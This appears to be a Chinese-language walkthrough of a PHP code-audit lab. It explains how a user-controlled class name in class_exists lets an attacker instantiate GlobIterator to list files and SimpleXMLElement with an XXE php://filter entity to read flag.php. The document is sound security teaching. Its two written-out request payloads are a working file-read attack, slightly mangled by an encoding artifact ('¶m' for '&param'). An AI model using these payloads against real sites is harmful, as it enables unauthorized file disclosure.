题目地址:
https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day3/files/README.md
主要为class_exists函数的实例化类名和参数由用户所控制,从而造成的文件读取漏洞
代码第17行,可以看到调用了class_exists函数,在第14行可以看到,class_exists传入的参数classname由用户输入的name、param、param2参数决定。
因此,可以利用class_exists函数调用php内置类GlobIterator,来进行文件搜索。
payload:name=GlobIterator¶m=./*.php¶m2=0
调用SimpleXMLElement类利用xml格式来读取文件内容,这里要用base64的格式读取,因为文件中若存在 < > & ' " 符号,会导致xml读取错误。
payload:name=SimpleXMLElement¶m=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php">]><x>%26xxe;</x>¶m2=2
总结:class_exists参数可控,则可以任意文件读取。